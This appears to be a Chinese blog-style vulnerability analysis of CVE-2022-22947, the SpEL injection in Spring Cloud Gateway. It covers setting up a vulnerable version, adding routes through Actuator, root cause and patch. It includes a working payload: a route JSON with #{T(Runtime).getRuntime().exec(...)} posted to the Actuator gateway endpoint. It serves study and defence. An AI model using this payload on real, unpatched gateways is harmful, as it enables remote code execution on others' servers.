SpringCloud Gateway 漏洞分析 (CVE-2022-22947)
背景
SpringCloud 是Spring提供的微服务实现框架,其中包含网关、配置中心和注册中心等内容,网关的第一代实现为zuul,第二代实现为Gateway,提供了更好的性能和特性。
网关可以提供统一的流量控制和访问控制等功能,一般放在客户端请求的入口或作为nginx的直接上游如下图。
Gateway 使用
Gateway配置可以使用两种方式:
- yml或者properties 固定配置
- 通过actuator插件动态添加
作为一个网关最主要的功能就是路由功能,而路由的规则由Route、Predicate、Filter 三部分组成。
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
实操
yml固定配置方式
- 首先在idea中新建spring项目,pom中引入spring-cloud-starter-gateway依赖(一般使用引入starter即可,这里单独指定含漏洞的自动配置底层包)
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>
<!-- 有漏洞底层包版本-->
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
- 在application.yml或者application.properties中新建以下配置:
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,1
配置含义: 新建了一个id为router1 的路由,规则为当请求的路径为/时,将请求转发给http://127.0.0.1:9223
(predicates)并给响应增加一个头Result值为1(filter)。
本地起一个9223服务,观察能否转发。启动项目,转发成功。这就是一个网关基本的功能。
动态配置
除了通过配置文件写死的方式,Gateway也支持通过Actuator(spring 监控组件)动态配置路由。
- pom中新引入
spring-boot-starter-actuator
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
- 配置文件( Spring Boot 2.x 后为了安全起见默认只开放/actuator/health和/actuator/info端点),开启gateway监控
management:
endpoint:
gateway:
enabled: true
endpoints:
web:
exposure:
include: gateway
- 重启应用,访问
http://localhost:8080/actuator/gateway/routes
,出现下面页面则表示配置成功。
- 使用actuator动态创建路由,使用post请求发送以下内容到
http://127.0.0.1:8080/actuator/gateway/routes/router2
:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
含义和第一种类似,不过转发路径变成了9224.
- 请求
http://127.0.0.1:8080/actuator/gateway/refresh
应用配置 - 请求页面,页面404,这事因为9224的后端服务没有/9224这个端点所以是404,但有请求记录,证明转发成功。
- 为了使请求正常,所以配置新增一项重写path
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "2"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
- 重新访问,页面正常
漏洞复现
其实这个漏洞本身是一个SpEL注入,我们尝试在之前的yml配置文件中使用SpEL表达式,我们将filter中的AddResponseHeader 值改为#{1+1}
spring:
application:
name: GatewatDemo
cloud:
gateway:
routes:
- id: "router1"
uri: "http://127.0.0.1:9223/"
predicates:
- Path=/
filters:
- AddResponseHeader=Result,#{1+1}
查看返回头,表达式被成功执行:
将表达式替换成恶意的SpEL表达式即可触发RCE,#{T(Runtime).getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")}
。
虽然这个地方确实存在SpEL注入,但却很难利用,因为攻击者很难控制目标机器的配置文件,所以利用条件就变成了有没有开启Actuator,且Actuator开启了gateway功能没有配置spring security。
使用动态创建的方法试试。
使用以下payload请求创建路由:
{
"id": "router2",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{T(Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}"
}
},{
"name":"RewritePath",
"args":{
"_genkey_0":"/9224",
"_genkey_1":"/"
}
}],
"uri": "http://127.0.0.1:9224",
"predicate": "/9224"
}
刷新路由,发现代码成功执行。
原理分析
我们打开spring-cloud-gateway的官网,发现SpEL原本是官方提供的一个引用bean的功能。
我们对exec执行下个断点,观察程序的调用栈。
前面一堆是Reactor的逻辑,因为是异步非阻塞的方式,所以阅读起来有一定门槛。
简单来说,就是当我们请求/actuator/gateway/routes/refresh时会去调用注册在reactor 中的方法,然后请求org.springframework.cloud.gateway.actuate
包中的refresh()方法
后续会将application的上下文传入gateway的逻辑,在处理Filter的逻辑中会对属性字段进行normalizeProperties
操作:
具体逻辑会放入normalize中进行处理,其中第一个参数即为我们自己配置的filter处理逻辑
第三个参数为SpEL的parse。
随后进入ShorcutType中的normalize进行处理,解析key、value进入并将value传入getValue():
在getValue中对字符串进行trim操作,同时判断字符串以#{
开始并以}
结束:
如果满足条件则进入SpEL进行解析,可以看到这里导致能够RCE的原因,使用了StandardEvaluationContext
作为context, 随后对配置文件的value进行标准SpEL解析。
到这里就基本理解了漏洞触发的原因
补丁分析
在2月17号,开发者提交了在org.springframework.cloud.gateway.support#ShortcutConfigurable
使用自定义Context方式替换原来的StanderdContext
自定义的Context增加了Spring的BeanFactory类,从而能实现对Spinrg IOC容器 bean的引用。
修复后新版本运行会报错:
总结
漏洞影响版本:
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
基本上和SpringCloud Functions 一样是个SpEL注入的漏洞,只不过在网关的场景出现,需要应用暴露actuator,有一定前置条件。
引用
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947
https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator
公众号
欢迎大家关注我的公众号,这里有干货满满的硬核安全知识,和我一起学起来吧!
SpringCloud Gateway 漏洞分析 (CVE-2022-22947)的更多相关文章
- Spring Cloud Gateway actuator组建对外暴露RCE问题漏洞分析
Spring Cloud gateway是什么? Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关.网关作为流量的,在微服务系统中有着非常作 ...
- 漏洞分析:CVE 2021-3156
漏洞分析:CVE 2021-3156 漏洞简述 漏洞名称:sudo堆溢出本地提权 漏洞编号:CVE-2021-3156 漏洞类型:堆溢出 漏洞影响:本地提权 利用难度:较高 基础权限:需要普通用户权限 ...
- CVE-2022-22947 SpringCloud GateWay SpEL RCE
CVE-2022-22947 SpringCloud GateWay SpEL RCE 目录 CVE-2022-22947 SpringCloud GateWay SpEL RCE 写在前面 环境准备 ...
- Java反序列化漏洞分析
相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...
- FFmpeg任意文件读取漏洞分析
这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...
- CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用
作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- Elasticsearch 核心插件Kibana 本地文件包含漏洞分析(CVE-2018-17246)
不久前Elasticsearch发布了最新安全公告, Elasticsearch Kibana 6.4.3之前版本和5.6.13之前版本中的Console插件存在严重的本地文件包含漏洞可导致拒绝服务攻 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
随机推荐
- 面试问题之C++语言:说一下static关键字的作用
1.全局静态变量 在全局变量加上关键字static,全局变量就定义成一个全局静态变量,存放于静态存储区,在整个程序运行期间一直存在:未经初始化的全局静态变量会被自动初始化为0:全局静态变量在声明他的文 ...
- 时间工具类之"获取相差天数"
一.时间工具类DateUtils之"获取相差天数" 1 /** 2 * 相差天数 3 * 4 * <p>TODO 方法功能描述 5 * 6 * @param start ...
- ctfhub rce 命令注入 过滤cat 过滤空格 过滤目录分隔符
命令注入 源码直接给了出来尝试127.0.0.1;ls 发现一串数字的php文件cat查看 127.0.0.1|cat 233382768628619.php 查看源码发现flag 过滤cat 这题和 ...
- 1. 了解Git和Github
1. 了解Git和Github 1.1 什么是Git Git是一个免费.开源的版本控制软件 1.2 什么是版本控制系统 版本控制是一种记录一个或若干个文件内容变化,以便将来查阅特定版本修订情况得系统. ...
- Numpy常用random随机函数汇总
Numpy常用random下的随机函数汇总 官方文档地址:https://docs.scipy.org/doc/numpy-1.14.0/reference/routines.random.html ...
- Altium_Designer PCB文件的绘制(上:PCB基础和布局)
PCB设计基础知识 PCB面板 在PCB设计中,最重要的一个面板就是"PCB面板".该面板的功能主要是对电路板中的各个对象进行精确定位,并以特定的效果显示出来.该面板还可以对各种对 ...
- 基于HTML5的拓扑图编辑器(2)
继续来说编辑器的需求, 前面介绍了拖拽创建节点.以及连线的方法,并加入到了其后的 Qunee 类库,实际应用中需要更多功能,Qunee 的拓扑图编辑器也在逐渐完善,一方面增加多种编辑交互,一方面提供数 ...
- 面试--html语义化的理解和作用
什么是HTML语义化 1.让开发者阅读和写出更优雅的代码2.让浏览器的爬虫和机器很好的解析 为什么要语义化 有利于seo方便其他设备监听 屏幕阅读设备 盲人阅读器方便团队协作开发 语义化元素 head ...
- 实现拖拽复制和可排序的react.js组件
在实现复制前,对之前的拖拽排序组件属性进行了修改. 摒弃了value中的content属性,拖拽组件暴露的render函数,利用这个属性进行组件内部子组件的渲染,这点主要是参考了蚂蚁金服的Ant de ...
- IO流入门+简单案例实现
IO流 总结内容 1. IO流是什么 2. 字符流和字节流 3. File常用API(前面类型为返回类型) 4. 编码转换 5. IO流实现流程 6. 输入输出流简单实现 7. 输入输出流简单实现 总 ...